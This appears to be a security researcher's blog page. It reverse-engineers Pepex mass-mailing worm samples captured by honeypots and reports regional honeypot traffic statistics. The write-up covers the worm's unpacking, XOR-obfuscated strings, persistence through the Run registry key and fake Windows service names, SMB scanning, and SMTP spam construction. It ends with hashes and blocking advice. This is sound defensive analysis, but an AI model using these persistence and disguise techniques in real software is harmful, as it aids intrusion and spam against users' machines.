RCPT TO:<
MAIL FROM:<
HELO <
209.85.133.114
WUpdate
Windows Genuine Update
Windows Update
SOFTWARE\Microsoft\Windows\CurrentVersion\Run
-i
\lsasvc.exe

This looks EXACTLY like some of the info pulled from Pepex. We see the same email addresses in use as in that other sample. The 209.85.133.114 IP address points to Google. I’m starting to think that this is a Pepex variant, if it wasn’t already pretty clear. Strangely, the antivirus products weren’t too consistent in naming this sample when scanned, though I recall that one of them did identify it as Pepex. I wonder if that lsascv.exe file is what the sample uses to install itself and achieve some stealth, and the Windows Genuine Update string points to additional stealth / persistence methods.

Further on, we see:

c:\winnt\lsass.exe
c:\windows\lsass.exe
%s\c$\winnt\lsass.exe
%s\c$\windows\lsass.exe
Subject: %s|%s|%s

Again, something to keep in mind. This might do something with lsass because of lsass’ privilege levels and API access. Finally, that Subject: %s|%s|%s is the same string we saw in the other Pepex sample for constructing the spam subject line.

We see a bunch of OS names:

WinXp
Win2003
Unkown [sic]
WinVista
WinNt
Win2000

I find it interesting that this is the same list as in the other Pepex sample, however Win7 is not here (which I wouldn’t expect from a sample created in 2004). Perhaps the reason why we had so many problems with the other sample was because someone tried updating the code and screwed up.

I see many imported function names, but I’ll look at those when I view the file in PEview, as it’s an easier interface. One final and very interesting set of strings:

!This program cannot be run in DOS mode.
Rich
S^@
.petite
ERROR!
Corrupt Data!

Looks like we have another file inside. I’m not sure what a .petite section is but it’s not a normal section like .text, .rsrc, .rdata, or others. Some weird error messages follow, so perhaps this is a packed file within the previously packed malware. After that I see a handful of process names and library imports, so I think we’ll need to continue digging to get to the bottom of this.

PEiD doesn’t detect and packers, under any settings. KANAL, however, detects a zlib deflate reference at 0000BE74 / 0040D474. Resource Hacker shows an obvious file stored in the resource section that is named “FILE”:

newpepex5

This file, however, is packed, using Petite 2.x:

newpepex6

KANAL also sees a reference to zlib in this file from the .rsrc section. Depending on how it goes analyzing this malware, I may look at this file in a follow-on analysis. Also, please see the following note from the readme file inclued with the current version of Petite, which is another reason why I’m probably going to tackle this in a subsequent analysis:

Decompression?
==============
There is no Petite decompressor. So if it is not possible for you to
reinstall or recompile a file, then you should keep a backup of the
original incase[sic] you should want to go back to it at any time.

Opening the main malware file in PEview doesn’t reveal anything weird as far as some possible anti-debugging stuff – number of data directories is 0x10 and no TLS table. Imported libraries are Kernel32, User32, AdvApi32, and WS2_32. Here are some of the interesting things that can be seen as imported functions under each library:

AdvApi32
RegOpen/CloseKeyExA, RegSetValueExA, Create/Open/Start/DeleteServiceA: Based on these imports and the prior work done on the other Pepex variant, I’m guessing that this is used to both achieve persistence and also start the malware as a service.

Kernel32
CopyFileA, WriteFile: I see a call to CopyFileA but not to DeleteFileA, so maybe this file makes a copy of itself and then deletes itself some other way when it installs. This also could mean that this file relocates some system file so that it can put itself in between the user and the legitimate file (maybe it gets in between lsass.exe, for instance). I suppose that one clue that this is not the case is that I don’t see any exports, but we still don’t know how the file from the .rsrc section functions yet. WriteFile is always good for looking for file system signatures.

WaitForSingleObject: perhaps this malware creates a mutex.

CreateProcessA: Always good for signatures, and also this means we’ll need to look out for child processes of this main malware process. Could possibly also be used to load drivers.

WS2_32
The interesting thing here is that I’m only seeing client-side functions imported (socket, connect, send, recv) but not server-side functions (like bind, listen, accept).

Dynamic Analysis

For the dynamic analysis, I ran and recorded the packed malware two times – once as a regular user, and once as an administrator.

Watching the run as a regular used showed a ton of activity taking place in Wireshark. RegShot didn’t reveal much going on. There was a UserAssist value added under HKU, but other than that, no other changes in the registry or file system that could be linked to the malware (speaking strictly from the RegShot perspective). Process Explorer revealed only the single malware process being created (PID 2576) but nothing else. It could be we missed other stuff happening in Process Explorer, so we’ll look at Process Monitor and other places too. I’m not seeing anything in Autoruns, so perhaps persistence wasn’t achieved.

Looking in Process Monitor, I see that the malware did not appear to spawn any child processes. The main things observed, some of which match up with the static analysis, include:

– reads the current version of Windows through HKLM
– many registry keys related to networking are queried
– the malware gets the computer name from the registry
– the malware creates 256 threads, and this is the final set of actions recorded by Process Monitor

I’m not seeing any files being written, or any registry entries being added or modified (values or keys). The Wireshark traffic is more interesting. In only a few minutes I could see a few tens of thousands of packets being sent out to apparently random IP addresses. Take a look at the protocols:

newpepex7

Basically all TCP. I didn’t see any addresses resolved, however endpoints revealed something interesting:

newpepex8

Thousands and thousands of lines of traffic on port 445, which is associated with SMB (which is where this sample came from on the honeypot, by the way). Looking over on the UDP tab of this window:

newpepex9

We see traffic on some broadcast IP addresses and on ports 137 and 138 which, for UDP, are associated with SMB also (NetBios API). There’s also traffic on port 1900, which is the UPnP port that we saw a lot of action on in the honeypot statistics.

Reviewing the recorded malware activity that was run as an administrator didn’t reveal any new or different behavior. The same activity both on the host and the network was observed.

I didn’t see any activity on the IP address we found in the strings of the malware (209.85.133.114). I dumped the traffic from Wireshark and then ended up with 39,203 unique IP addresses from that. I did a little research into where these IP addresses were located, and with whatever whois data I was able to obtain, the vast majority of the IP addresses are in the USA with some falling outside the country:

newpepex10

Disassembly and Debugging

Opening the unpacked malware in Ida, the first thing we see the sample do (in winmain) is call WSAstartup, and then then there is a call to a sub at 4020E0 which imports some DLLs. The DLL names are obfuscated, and 4020E0 builds the imports in the same manner as the other Pepex variant. Following some branches, which I’m finding difficult to figure out just using Ida, we either move towards a “scanning” branch (which is the behavior that I’ve observed so far) or towards the installation branch. The installation branch begins with a call to 401950, which starts with loading the binary that is in the .rsrc section and then writing it as %SYSTEM%\lsasvc.exe, which makes for a nice file system signature:

newpepex11
Then, later on in this sub, we see the file being written and then a process being created from it.

The next sub that is called, 4018E0, sets up persistence for the newly installed malware by adding it to the registry (under the name “Windows Update”) to run at startup:

newpepex12

This also makes for a nice host signature under “SOFTWARE\Microsoft\Windows\CurrentVersion\Run”.

Sub 401000 involves some calls to gethostbyname and then a loop that writes a series of IP address strings to a buffer. After this, we see a string being put in a buffer:

newpepex13

Then we see a call to GetVersion and then the system derives an OS name (one of the strings mentioned earlier such as “WinVista”) and this string is passed to the buffer also:

newpepex14

Following this, we see an email address being pushed onto the stack and then we get into some really interesting stuff beginning with a call to 401210:

newpepex15

Before getting into 401210, I’m going to take a quick look at the alternate branch that this sample seemed to follow when I ran it in my test environment. This is the branch that was taken at the conditional jump at 40243F which branched us away from the installation/system inventory/email generation branch and instead did the IP scanning and thread creation.

Going down this alternate branch results in a call to Sleep (for 100ms) and then an indirect call to sub 402C50. This is a somewhat large sub that generates IP addresses through a combination of calls to GetTickCount and generated random numbers. There is a loop related to thread creation, and we can see where the condition jump is put in place in order to create the 256 threads we observed during the dynamic analysis:

newpepx16

Note that I displayed the number in base 10 for clarity.

Also within this overall thread creation/scanning sub, there is a call to a fairly deep branch called sub 402840. This sub begins with establishing some network connectivity and then calls another sub, 401F20. This sub contains several indirect calls (annoying). I see something being done with the string “administrator” so it’s possible that this is some sub that either logs into an account somewhere (or tries to do so). We do see a call to sub 401AE0, though. This sub makes a reference to IPC, and then appears to send system inventory information to the wbInfo0801@gmail.com address:

newpepex17

Then after that we can see stuff being done with lsass.exe (notice also the hard coded directory of \winnt\ rather than an environment variable). Here are another couple of examples of hard-coded directory references:

newpepex18

After setting up with these paths, we see a call to 401800. Here we see the malware being set up and started as a service:

newpepex19

“Windows Genuine Update” and “Wupdate” are nice signatures to be aware of.

Going back to the large branch, where we really get into the heart of this thing, sub 401210 begins with a connection to 209.85.133.114 and then a check of connectivity. If we get past that, then the malware starts to build a set of SMTP commands:

newpepex20

This gets sent, and then checked for errors again:

newpepex21

If at any time we have an error, the sub will exit. Next we see more SMTP commands being built, this one showing that this mail is from john@barrysworld.com:

newpepex22

Continuing through the code, we see where the recipient email address is passed via SMTP, and then we see where the malware starts to build out the area for the body of the email:

newpepex23

After this, we get to an area that I’m not sure I fully understand:

newpepex24

What it looks like is happening here, is that the string “john@barrysworld.com” is pushed onto the stack twice, and then these two strings are compared with a call to strcmpi (which is deprecated according to MSDN). Then, there is a conditional jump based on this comparison – If the strings are the same, then the function should return 0 and therefore this conditional jump should always be followed in this instance, which would take us down the branch on the left. If anyone out there has a better understanding of what is going on here, please let me know, as it appears that we have a situation where there’s a condition jump that is never followed. In any case, on the left branch, we see some more signatures that were common with the other Pepex variant analyzed (microsoft@microsoft.com, information@microsoft.com).

At the end, we see the wrap up of the SMTP traffic and the return:

newpepex25

At this point, I’m done looking at this sample. As we’ve seen, it’s closely related to a prior sample, except that this one actually seems to work so we were able to observe more functionality. I might take a look into manually unpacking the file in the resource section since this is a packer that is new to me and this might make for an interesting analysis.

Findings and observations:
Mass-mailer worm. Similar to the prior sample analyzed, which I believe was derived from this new sample as this sample did not appear to have the execution issues observed previously. Sample appears to both scan new IP addresses, both for remote and local systems, probably with the intent of spreadnig itself. It also contains functionality around reporting system inventory and sending spam messages.

Recommendations:
– Block ports 445, 137, and 138 as this is where this sample was obtained and this sample was observed connecting to remote and local systems on these ports
– Usual recommendations against opening unsolicited mail (especially with attachments)
– Filter email associated with “microsoft@microsoft.com”, “information@microsoft.com”, and “john@barrysworld.com”, “ wbInfo0801@gmail.com”, “wbInfo0802@gmail.com”

Conclusion:
Interesting, old malware. It was good to see this worm running successfully so as to get a better opportunity to view its capabilities.

Report:MalEXE003pdf

Hashes:
Packed:
MD5:7867de13bf22a7f3e3559044053e33e7
SHA1:42e56d72982ac04edba2ce7fb9f4e5048766aa94
SHA256:a29d02251f54567edb1d32f7c17ce4c04d5c54e317eb3b2bea2a068da728e59a
ssdeep:768:WOjL5WyEf531YmKtiZSI1ZOt13hHJ6kekGyQSmOY:WOjsyEfIm0i3ZOt1RWkGyFW

Manually Unpacked:
MD5:30891d0c95aed62d3cbf7a54239eaf17
SHA1:b3d456d0cd871b1ff5f19cd3196ebe4df064f922
SHA256:50f3cd50216c6a4515977f46a737466bb3cc3a3cdf3add771e1e8c138dea91e4
ssdeep:1536:oNx2Tahizzme4WPsyqFg8NIRdcBCaiOjsyEfIm0i3ZOt1RWkGyF3XFuTx+WN:8DYzzNhPJgI3iCaIH0i3ZOt1RWRNB

Automatically Unpacked:
MD5:c6829041ed0a3b1ee41b8aad7e1884b1
SHA1:440c45dff7f43ac6478c44a1c776e643320a8a35
SHA256:6c31f261514aa5d4b9e0098d7362dd8357a71ca9de5d3df984d4dfd80c75690c
ssdeep:768:8HcGaNhoWx2T7Gh8EExZz+v25i6jQSgm51/GVGWsyqAgg8/8WIjl2QDMrL4:7Nx2Tahizz1koOVpsyqFg8NIRd

GRAB

Posted on August 9, 2016 - July 31, 2016 by rhyolite

I thought it would be a good time to talk a little bit about the “constellation” of honeypots that I have going right now, and what statistics I have gathered on their activity. My Dionaea honeypots are organized under the name GRAB, and the first GRAB honeypot was located in NYC. Several days later I set up the same kind of honeypot and VPS in Frankfurt, and on July 30th I created two more in Singapore and Bangalore.

grab1

I’m not completely satisfied with this constellation just yet – I feel like there are a few gaps here that would be relevant to me. I’m glad that I have coverage in the US and Europe but I’d like to have some coverage in LATAM and Africa. The main reason that I was able to get the VPS coverage in these current locations so quickly was that this is where Digital Ocean has datacenters, and it’s incredibly easy to get a system set up with them (I set up both of the new VPSs and honeypots simultaneously in about 10 minutes). I feel that I absolutely need to get something created in the Russian Federation, and have been looking into options for this. Africa would be interesting, particularly around the Horn, but I have no idea about what the state of hosting is for this region. LATAM would be interesting, and I wonder if there is something good available for hosting in Argentina or Mexico. I’m hoping that the GRAB system I have in Singapore is sufficient for covering East/Southeast Asia and Australia, but we’ll see how that turns out.

My reasoning is that I imagine that while there are malware that will propagate world-wide (and I’ve already seen some samples show up in both NYC and Frankfurt), I imagine there might be some more regional samples that are targeted to a specific region or even a specific country or userbase that I could collect by having honeypots in various locations. I’m also interested to see the levels of activity in the various regions over time, which is what I’m going to get into next, starting with the NYC honeypot.

Some quick notes on how this data was obtained and graphed – I have my Dionaea honeypots set up to store data in sqlite databases. There are a few options out these for graphing (e.g., there’s a recipe in the Malware Analyst’s Cookbook for using gnuplot) but I used DionaeaFR. I thought that the best instructions for setting this up were found at Koen Van Impe’s site but even so I had some issues as far as getting it to run on my system. What I ultimately did was follow those instructions but use the most up to date versions of the dependencies (such as nodejs) when I did my install as the exact instructions posted there didn’t work on my system. I also ran “npm install -g promise” in addition to installing less as this was mentioned on another website.

New York City
Connections: 617,440
Unique IPs: 12,586
Files Downloaded: 48

grab2

grab3
Since this is my first time doing this, I don’t have much to compare these results with, however that seems like a LOT of connections. I’m not shocked to see that most of the connections came from the United States but it was interesting to see that the most unique IP addresses came from France, Spain and the USA. For all that activity, not too many binaries recovered, but even so I’m backed up on analysis. Romania was unexpected (0.71% of the total IPs).
grab4

A mix of services, but interesting to see that the vast majority of activity came in over UPnP.

grab5
Therefore, I suppose it’s not a shock that the most activity also came through port 1900, the UDP port for UPnP.

grab6
The top IP address (with 80,000 connections) can be linked back to Tinet in Germany, though I’m not getting much out of this whois record, just info about Tinet. VirusTotal finds no domains resolving to that IP address and actually puts it in France. Similarly, the next one on the list, 84.16.14.189, links back to Telefonica in Spain (VirusTotal also has not resolved anything to this address, though it does not find any location info on this IP). This isn’t showing too much, as it’s sort of the equivalent of tracing an IP back to Level III or Comcast. The ninth IP on the list, 185.62.190.87, lists info as BlazingFast LLC in Kiev Oblast, Ukraine. They seem to be a hosting provider, maybe I should set up a honeypot with them…nothing about this IP address in VirusTotal. Not much comes up about any of these addresses.

Here’s a map showing the attacker locations:

grab7

Next is the Frankfurt honeypot – It’s interesting that this honeypot was created several days after the NYC honeypot, and yet it had more activity (but fewer files downloaded).

Frankfurt
Connections: 702,786
Unique IPs: 10,896
Files Downloaded: 35

grab8

grab9

Pretty similar proportions to the stats from the NYC honeypot. There’s a certain country that doesn’t show up on either graph, which is surprising. Maybe it’s lumped into “others”, but keep in mind that the lowest ranks on this graph make up less than 1% (e.g., Germany on this chart is only 0.91%) so I’m surprised that these others ranked high enough to show up here.

Services is really very similar to the NYC results, UPnP being the most popular by a huge margin, along with port 1900:

grab10

grab11

Looking at the IP addresses from Frankfurt, there are several overlaps, either in terms of the same IP or just the same subnet. Only 204.88.128.14 and 213.140.43.126 are new.

grab12

204.88.128.14 is interesting – its whois record says “Santa Clara County Office of Education” in San Jose, CA. I’m wondering why so many connections would be coming from here? Some searching showed that someone’s already added this IP to FireHOL’s blocklist. I wonder what the story is with this one. 213.140.43.126 is just another Telefonica IP address, nothing too interesting there.

Here’s another map of the attackers, with an alternate view of the same data as well:

grab13

grab14

Pepex

Posted on August 2, 2016 - July 29, 2016 by rhyolite

New sample in from the NYC honeypot – 50/54 detections on Virustotal, so let’s take a look. pepex1

UPX is a popular packer used more for compression than security. Packing the malware does obfuscate it, but typically UPX isn’t very hard to figure out compared with certain other packers. We can actually see some stuff “leaking” through the packing:

pepex2

At the end we see a tiny number of function names, along with .dlls such as WS2_32.dll and others. Along the way I saw bit and pieces of a string that suggest that this malware might construct emails, so maybe this malware is spam-focused.

PEiD confirms this, and also gives us some other info like the entrypoint:

pepex3

There are various ways you can approach unpacking. Something like UPX can probably be unpacked with an automated tool (which I actually end up doing later on in this analysis), but I actually like unpacking things manually. One thing you can do is open the file in IDA and see if there are any “far” jumps within the code, as this is probably the start of the unpacked code. In this sample, the entry point of the malware was at 4098A0, but a little bit down from there at 409A2C I see this:

pepex4

Sort of strange to see a jump to a place relatively far away from where we are now. I opened this in Olly and set a memory breakpoint (on access) at 404C50. After this breakpoint was hit the first time and I noticed that code started to appear where there was previously just meaningless data, I set a regular breakpoint and then came back to this area once that was hit:

pepex5 I’m using a plugin called Ollydump to dump the unpacked process:

pepex6

We still see some of the same UPX-related junk in the beginning, but looking through the strings, we start to see some really interesting (and unobfuscated) stuff:

pepex7

Now we can really take a look through this thing.

Static Analysis

Running strings on the unpacked sample, one of the first things we come across are what appear to be really bad password choices:

pepex8

There are some that on first glance appear like they might be not completely horrible choices like “baseball”, but those that look like they might be OK are actually just some silly keyboard patterns, such as “qazwsxedc” which is just the first three alphabetic columns on the left side of an English keyboard. Moving on through the strings, we start to see a few more interesting things such as what appears to be the construction of an IP address and what might be a name given to this process in case it’s run as a service:

pepex9

Few more pages in, we see some SMTP commands and some strings that look like they are part of an email to make it seem more legitimate, as well as some specific IP addresses:

pepex10

Going through function names revealed by strings and by PEview reveals some interesting info about how this sample likely operates (meaning, until I observe the sample I can’t just assume that this is definitely what it does regardless of what functions are mentioned or imported):

– I see several functions around opening/copying/deleting files as well as functions related to the temp file path. I always like to see these because it implies that there is going to be some file system change taking place that can be used to both construct a signature and also identify the malware objectives. One string recovered was “Isass.exe” which is supposed to mimic “lsass.exe” – perhaps this sample copies itself somewhere as “Isass.exe” as a stealth measure.
– WaitForSingleObject appears to be called, so there might be a mutex created by this malware that could also form a signature.
– I see multiple functions related to services such as OpenService, CreateService, StartService, DeleteService, that suggest that this might be how the malware achieves persistence and stealth. I saw a few strings earlier that might make for good fake service names to blend in with other, legitimate services running on the host.
– There is an import of WS2_32.dll and several functions such as connect, socket, listen, bind, send/recv, gethostbyname,WSAstartup, inet_addr and so on that suggest that 1) there is a networking component to this malware and 2) since this is a lower-level networking dll, there will probably be some fabrication of traffic info (such as header info) to make the malware traffic blend in better with legitimate traffic, which also helps us identify network signatures (particularly in the case of poorly-written fake headers).

PEview reveals nothing unusual in terms of possible anti-debugging steps (i.e., number of data directories looks fine, no TLS). KANAL detects no known crypto signatures. I saw strings that look like a “normal” set of sections (.text, .data, .rdata, .rsrc) but Resource Hacker wasn’t finding anything. I might try to mess around with this later to rename the sections in the unpacked header, but for now I’m just taking note of this in case it’s useful later.

Dynamic Analysis

I tried running this sample multiple times, as a regular user and as administrator, both with a simulated Internet connection and on a real one, but absolutely nothing appeared to happen. The packed sample ran and then exited, while the unpacked sample crashed shortly after execution.

Nothing interesting is coming up in Wireshark, process explorer, autoruns, or anything else. The process monitor data basically shows the malware process being created, some registry lookups (nothing obviously interesting there either), some libraries being loaded, and then the malware terminates.

I’ve seen strings that suggest that this malware could run on various versions of Windows, including Windows 7 which is what I’m running in the analysis VM. Perhaps there is an issue with the Windows environment, but at this point I think that there must be some issue with the malware not liking VirtualBox. I’m going to have to look through it in the disassembly and the debugger to see what seems to be preventing this sample from fully executing.

Before doing this, I tried a couple of other things. One was I ran the unpacked sample through Import Reconstructor (ImpRec) to see if maybe there was just an issue with the way the import table was set following the unpacking.

pepex11

This didn’t help, the sample still crashes. During a quick glance through the disassembly, and during debugging, I didn’t notice anything checking for artifacts left over from VirtualBox or VMware, but even so I tried terminating all VirtualBox related functions and then rerunning the sample, but it didn’t help. It’s possible that this is just a poorly formed piece of malware that isn’t working right in my environment, but that seems too simple of an explanation, so I need to dig into the disassembly more.

Disassembly and Debugging

Basically what’s observed when debugging is that this sample almost immediately starts to encounter exceptions. My feeling is that this isn’t simply an anti-debugging / anti-analysis technique in place. There absolutely are some things that look suspicious when I run the sample in the debugger (for example, a call to NtRaiseException followed by INT 3, or there MIGHT be something going on with the PEB structure beginning at fs:[30]), but the thing is that this sample doesn’t seem to function at all outside of the debugger either. The unpacked version crashes shortly after execution, and the packed version runs some innocuous functions and then terminates. I see many exceptions taking place, but nothing that appears to look for a VM (either VMware, VirtualBox, or another). I looked through all of the process monitor results to see if the malware checked:

– user/computer name (it checked the username, but this would not indicate a VM)
– registry keys/values (it did check some, but nothing checked would indicate a VM)
– Files/directories associated with VirtualBox or Vms

Nothing was apparent. I checked the unpacked disassembly for:
– CPU instructions (sidt, sgdt, sldt, smsw, str, in, cpuid)
– Timing instructions (rdtsc, GetTickCount, QueryPerformanceCounter)
– GetTickCount is actually seen many times but not in an anti-debugging context
– Checks on running processes, services, or mutexes
– Hardware info checks
– OS info checks (it checks for the Windows version but nothing that would indicate a VM)
– Checks for INT 3 or others such as 0xCD03 (there is a line where 0CCh is moved into AL, but this is part of a coding sub, and not related to anti-debugging)

I’m just not seeing anything that indicates that this thing is checking for a VM or a debugger. One thing I did notice however, was that there seems to be an issue in the code between the packed and unpacked versions of the malware:

Packed location 404C50:

pepex12

Unpacked location 404C50:

pepex13

The OR DWORD PTR DS: [EBX+68FF6AEC], 004051C8 instruction doesn’t make sense and immediately starts causing exceptions, which then seems to send the unpacked version into a tailspin. I’ll use the unpacked version just for disassembly, but will continue trying to debug the packed version.

I eventually got UPX and used it to automatically unpack the sample, and the unpacked version is much cleaner than what I had dumped manually. There is a section at 404C50 that pretty much matches exactly what we can see at the RCE Endeavors blog as something that sets a new exception handler which would allow for sneaky code execution. I feel like there has to be something there. Looking at the code that was unpacked by the malware again:

pepex14

Following along with the article, at 404C53 we see 0FFFFFFFFh being PUSHed and then 004051C8 PUSHed (scope table and the try level). At 404C5A we see PUSH 00404DD0, which is a jump to __except_handler3 (4 being the topmost exception handler, IIRC). Then we see the value at fs:[0] being put into EAX (fs:0 is the start of the TIB, and in my case is 0018FFC4). Then this is PUSHed, and the stack pointer is moved into fs:[0] (which, in my case, is 0018FF78). This is what we see at 0018FF78:

pepex15

This is something I’ll have to come back to someday, as I can recognize that something is going on here but I just can’t figure out what. On one hand, it makes no sense to me that someone would create and propagate a worm that didn’t work. On the other, there are some design decisions in this sample (like hard coding directories, plaintext domains and IP addresses) that calls into question the quality of the construction. I’m going to concentrate on disassembly of the rest of the unpacked file to try to see how the rest of it works.

404C50 is where we see the shenanigans with the SEH:

pepex16

Down below at 404D7F we see the call to WinMain.

Inside of WinMain, we see a call to __p____argc and then a comparison, then where the code wants to go is to the left side (i.e., not take the jump):

pepex17

However, as soon as the call to StartServiceCtrlDispatcherA happens, a non-continuable exception triggers. Following this doesn’t get my anywhere, so I’m going to go back to where this JNZ occurs and make sure that we follow the jump:

pepex18

Getting to the next block at 402F3B, the jump is taken again so I’ll modify the flags and avoid the jump again. Getting to the call to ds:strncpy, the sample again hits exceptions, so I’m just going to through the disassembly and stop debugging completely for now.

The code on the right is a bit funny because I did get that to execute successfully in the debugger, and you’d think that a malware author would not want the malware to have error messages pop up. This is one of those examples I’m thinking of when I question the design of this sample.

Below all of this, we see a couple more branches but both ultimately call sub 402C30. This sub calls 402050, which reads a file called stm8.inf located in the Windows directory (or we see this being created if it doesn’t exist). After this takes place, we see a call to a sub at 402970 which involves moving lots of data into various registers and then several calls to sprintf to write this stuff to buffers. After those sprintf calls, there are several calls to LoadLibraryA and then several calls to GetProcAddress, so here we’re seeing the sample call several different libraries and functions before moving on to the rest of the code.

pepex19

pepex20

Again, if this sub fails, then the code exits. The pattern here is pretty much if any of these parts fail to execute successfully, the code will terminate. This might help explain why the code appears to do nothing when being executed in the VM. Following the success of the previous sub, there’s a call to WSAstartup (version 2.2 requested) and then the code flows to a call to sub 403BF0.

403BF0 is a large sub that begins with moving the byte 88h into BL before storing a string (a total of 0x40 times, based on the value moved into ECX) and moving several more bytes into other offsets:

pepex21

I opened this in the debugger and patched the code to call 403BF0. This initial block creates the following string in memory:

The next bit of code loops through this string (up to 16 bytes long) and then XORs each byte with 0xEF, which leaves us with the string gmail.com:

This string then gets PUSHed and then sub 403170 is called to work with it. There are several subs nested here, one of the main ones called next is 4049F0. Within sub 4049F0, you see a call to DnsQueryA and then you see several strings being put on the heap:

pepex24

The strings are:
gmail-smtp-l.google.com
alt2.gmail-smtp-l.google.com
alt1.gmail-smtp-l.google.com
alt3.gmail-smtp-l.google.com
alt4.gmail-smtp-l.google.com

If 4049F0 is successful, then you jump over the call to 404AF0 which appears to gather network info on the local host and then I presume tries to gather the info above in another way since following this branch would mean that 4049F0 failed. Back in sub 403170, there’s a call to GetTickCount and then a test between AL and 3, then a conditional jump to either exit and return 0 or continue with the function. In my debugger the code continued and took the gmail.com string and passed it to a call to 403070. We see more work being done with the gmail.com string, the heap, and calls to GetTickCount. We then pass the gmail.com string to 403030. More comparisons, more movement of the gmail.com string, and finally the entire 403170 sub returns and we end up at 403C75, where we come upon another interesting set of branches:

pepex25

The debugger isn’t following the jump (which leads to another XOR decoding). For now I want to see what’s in the XOR branch so I’ll mess with the flags so we go there.

pepex26

As you can see, it just ends up decoding gmail-smtp-in.l.google.com. Much later on in this branch, we see that string being passed to sub 4031D0. There we see a call to GetHostByName, and if that fails, then the function returns 0 and eventually this branch dies (I’m not connected to the Internet while I am running this instance), but I’ll change the flags and keep this going. Eventually this branch loops back up and runs through the same iterations but for the “alt%d” variations such as alt1,2,etc.

All roads seem to lead to location 403E4E, which checks to see if any of the branches leading up to this point were successful or not – if not, we exit. If they were, then we continue on to the hard-coded IP address blocks.

pepex27

You can see the string 74.125.133.26 being moved into EDI, and then shortly after there’s a comparison using that string, and then in my case it moves on to the next string which is 173.1944.68.27, and so on until it finds the IP it wants or it runs through all of them. Then, the return is made to 402C30, which we left a long time ago, it feels.

At this point, something weird happens again involving exception handling, and we find ourselves blown out into 7- land (so to speak), but I patched something to get us back to 402C92 which is where I wanted to continue from. We see a call to GetModuleFileNameA (which fails, incidentally) and then a call to GetUserNameA (perhaps to form part of the data used to create the mass emails?) and then the username is passed to strupr to make it all upper case.

pepex28

We work our way down to 402D79 without any further intervention in the debugger, and it appears we’re in the right place to begin constructing totally legit-looking emails:

pepex30

But first, a call to 4019C0 where it looks like we have another one of those encoding subs. The first encoding loop here decodes this little string:

ows\\CurrentV. Next loop in this sub decodes:

E\\Micro. Next loop:

pepex33

ersion\\R, then:

pepex34

SOFTW, then:

pepex35

soft\\wind, then finally this entire mess gets passed as “SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run” under HKLM to RegOpenKeyExA:

pepex36

If this operation is successful, then we skip the rest of this sub. If not, then we go on to decode more stuff and do more things, so I’m going to keep going on this branch.

Soon we see a call to LoadLibraryA for advapi32.dll, and then another XOR decoding:

pepex37

The malware decodes the string RegSetValueExA:

pepex38

kernel32.dll gets loaded, then the function RegSetValueExA is imported:

pepex39

Then later we see what appears to be this malware being set up to run at boot under the guide of “Local Security Authority Process”:

pepex40

We can see this change being made in Process Monitor:

It’s also apparent in Autoruns, though it appears the name of the file isn’t quite there just yet:

Then after all of this, a call to RegCloseKey and then back to the other sub where we can finally get into crafting some email (I hope)!

A few dozen lines in, I see a strange subject line being created:

pepex43

I also saw the user name string that was converted into all upper case earlier. I accidentally stepped-over one of the subs here at 401E90, but in there you see that and a nested function create and bind a TCP socket and then call listen, looping until the string “google.com” is seen, then back to the previous sub. We see the string “Subject: 0.0.0.0” put in a buffer with a call to sprintf, and some further manipulations of strings. There’s a call to sub 402350, where we see a call to GetHostByName (a deprecated function, according to MSDN, which probably speaks to the age of this sample). If this function fails (which it did in my debugger), then the sub returns, otherwise it builds a string out of an IP address from the GetHostByName call. Soon after this, we see the “Subject: 0.0.0.0\09h\30h\09h\30h” string in its current form being passed to a call to 402170.

Sub 402170 is the sub where the Windows version is obtained and named using one of the strings we observed earlier, e.g. “WinVista”, “WinNt”, “Win2000”, “Unknown”, “WinXp”, “Win2003”, “Win7”. This done via a call to GetVersion and then parsing that info to identify the version. The sample correctly identified the version running in my test environment (Windows 7). Before returning, there is a call to a sub at 4022C0 which is to obtain the local and system time, and then this information is parsed into various pieces such as day, month, year, hour, etc. I imagine for the purpose of constructing the mass emails. Returning from these subs, we see that our subject line continues to change:

pepex44

After all these changes to the string, including a few more minor ones, we return back to 402E92, and the a few lines later there’s a call to 4033C0 – THIS finally seems to be the construction sub. It begins with a whole lot of byte movements, reminiscent of the XOR encoding though I don’t see that happening here:

pepex45

After ALL of these many things are MOVed around, we pass through a few conditional jumps that either take the whole mess and return (returning 0) or we do actually get to an XOR decoding loop – I didn’t have to intervene to get there, and the first string decoded is “nbweinf12160”:

pepex47

So as not to make you sit through every loop like I did earlier, here’s what we get at the end of these three loops:

pepex46

nbwein12160
gmail.com
crist.jessica@msn.com [this email is no longer valid, by the way]

We get kicked over to a call to 403340, which is a sub that tries to set up some networking with one of the hard-coded IPs mentioned earlier, where we also see a call to ioctlsocket (nonblocking).

The debugger wants to follow the code over to where there’s another decoding sub called (402C70), which receives our subject line as an argument. Oddly, this branch re-encodes the subject line that was being constructed and then basically breaks everything down and exits. I’m reloading the VM snapshot and trying the other branch…

Unfortunately, that other branch also died, running into exceptions. Perhaps this is because of the patching I’ve done, maybe things are messed up now. I’m going to just try to get back to the SMTP part of the malware and see how that works.

I patched that last line of code to JMP 403690, so I can see how the SMTP commands are sent. Not too far into that sub we see the first SMTP command being constructed and then a large block of code related to a call to send:

pepex48

Long story short, we see HELO (google.com) being sent:

pepex49

Since I’m not really letting this thing connect to the Internet, it tries to exit but I’ll keep intervening to keep it sending info. Next up is another big block of code, all pertaining to a call to send:

pepex50
We can continue to observe the SMTP commands being sent in this manner. There are numerous conditional jumps throughout the code that necessitate intervention in order to keep going on the path I want. We see a few calls to GetSystemTime and some random number generation before the construction of the command that specifies the destination email address (in this run, no email address was populated):

pepex51

It seems that this is meant to be a “Microsoft News Letter”:

pepex52

pepex53

We eventually see QUIT being sent, and then the socket getting closed:

pepex54

And then the malware had a meltdown since I had been patching all kinds of stuff to jump around. This is about all I want to really check out in the malware in tandem with the debugger. Some other highlights include:

– Sub 401000 is where the malware appears to install itself by copying itself as the file Isass.exe (a string we saw earlier – it places this file in the %system% directory, though I’d point out that in this file it tends to hard code these areas (e.g., one branch of its code refers to the c:\windows\ directory, rather than using the environment variable)
– Sub 404010 shows that it attempts to run itself as a service called “Windows Genuine Updater”:

pepex55

– Sub 404110 attempts to open this newly created service and start it
– 4015D0 looks like it might generate IP addresses using a combination of calls to GetTickCount and random numbers

Dynamic Analysis, Revisted

Now that I actually got the sample to do something, I’m going to revisit some of the things I would normally try under dynamic analysis which were unrevealing due to the sample not fully executing.

